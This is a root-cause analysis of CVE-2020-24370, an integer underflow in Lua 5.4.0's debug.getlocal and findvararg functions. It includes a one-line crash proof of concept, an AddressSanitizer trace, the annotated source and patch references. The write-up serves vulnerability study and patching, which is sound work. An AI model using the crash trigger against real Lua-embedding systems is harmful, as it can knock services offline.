CVE-2020-24370 Analysis

Author : Minseok Kang

1. Overview

Crash type : Segmentation Violation(Integer overflow)

Version : v5.4.0 (git commit hash : 34affe7a63fc5d842580a9f23616d057e17dfe27)

2. PoC code

```
debug.getlocal(1, 2 ^ 31)
```

3. Root Cause Analysis

Following log is observed by executing PoC code in Lua compiled with address sanitizer applied.

```
user@ubuntu20:~/cve-2020-24370$ ./lua/lua poc.lua
AddressSanitizer:DEADLYSIGNAL
=================================================================
==6582==ERROR: AddressSanitizer: SEGV on unknown address 0x6158000000d0 (pc 0x559c885da959
687dee0 sp 0x7fffb687de40 T0)
==6582==The signal is caused by a READ memory access.
    #0 0x559c885da959 in lua_getlocal /home/user/cve-2020-24370/lua/ldebug.c:237
    #1 0x559c8863af8d in db_getlocal /home/user/cve-2020-24370/lua/ldblib.c:218
    #2 0x559c885e259b in luaD_call /home/user/cve-2020-24370/lua/ldo.c:481
    #3 0x559c886267ec in luaV_execute /home/user/cve-2020-24370/lua/lvm.c:1614
    #4 0x559c885e2ae4 in luaD_call /home/user/cve-2020-24370/lua/ldo.c:504
    #5 0x559c885e2d15 in luaD_callnoyield /home/user/cve-2020-24370/lua/ldo.c:525
    #6 0x559c885d5cd9 in f_call /home/user/cve-2020-24370/lua/lapi.c:1005
    #7 0x559c885df792 in luaD_rawrunprotected /home/user/cve-2020-24370/lua/ldo.c:148
    #8 0x559c885e4545 in luaD_pcall /home/user/cve-2020-24370/lua/ldo.c:749
    #9 0x559c885d5f81 in lua_pcallk /home/user/cve-2020-24370/lua/lapi.c:1031
    #10 0x559c885cc61f in docall /home/user/cve-2020-24370/lua/lua.c:139
```

debug.getlocal in the script code calls db_getlocal function(ldblib.c:202). The function is implemented as below.

```
static int db_getlocal (lua_State *L) {
  int arg;
  lua_State *L1 = getthread(L, &arg);
  int nvar = (int)luaL_checkinteger(L, arg + 2);  /* local-variable index */
  if (lua_isfunction(L, arg + 1)) {  /* function argument? */
    lua_pushvalue(L, arg + 1);  /* push function */
    lua_pushstring(L, lua_getlocal(L, NULL, nvar));  /* push local name */
    return 1;  /* return only name (there is no value) */
  }
  else {  /* stack-level argument */
    lua_Debug ar;
    const char *name;
    int level = (int)luaL_checkinteger(L, arg + 1);
    if (!lua_getstack(L1, level, &ar))  /* out of range? */
      return luaL_argerror(L, arg+1, "level out of range");
    checkstack(L, L1, 1);
    name = lua_getlocal(L1, &ar, nvar);
    if (name) {
      lua_xmove(L1, L, 1);  /* move local value */
      lua_pushstring(L, name);  /* push name */
      lua_rotate(L, -2, 1);  /* re-order */
      return 2;
    }
    else {
      luaL_pushfail(L);  /* no name (nor value) */
      return 1;
    }
  }
}
```

In line 3, "nvar" is assigned with the second argument passed to debug.getlocal. As 2^31 is not representable as a positive value with int data type in C language, "nvar" has 0x80000000 value, which is -2147483648 in decimal format. "nvar" is later passed to findvararg function(ldebug.c:188) as parameter "n". findvararg function is implemented as below.

```
static const char *findvararg (CallInfo *ci, int n, StkId *pos) {
  if (clLvalue(s2v(ci->func))->p->is_vararg) {
    int nextra = ci->u.l.nextraargs;
    if (n <= nextra) {
      *pos = ci->func - nextra + (n - 1);
      return "(vararg)";  /* generic name for any vararg */
    }
  }
  return NULL;  /* no such vararg */
}
```

As “n” in line3 is the smallest number in int data type, line 4 is executed. However, (n – 1) causes underflow which makes n from the smallest integer to the largest integer. This sets erroneous value to *pos variable and causes segmentation violation crash.

4. Patch

Additional validation codes were added to findvararg function and luaG_findlocal function. The Patch prevents integer variables from underflowing. Patch can be found from the below github link.

https://github.com/lua/lua/commit/a585eae6e7ada1ca9271607a4f48dfb17868ab7b

5. Reference

https://github.com/lua/lua/commit/a585eae6e7ada1ca9271607a4f48dfb17868ab7b

http://lua-users.org/lists/lua-l/2020-07/msg00324.html

https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QXYMCIUNGK26VHAYHGP5LPW56G2KWOHQ/

https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E6KONNG6UEI3FMEOY67NDZC32NBGBI44/

https://lists.debian.org/debian-lts-announce/2020/09/msg00019.html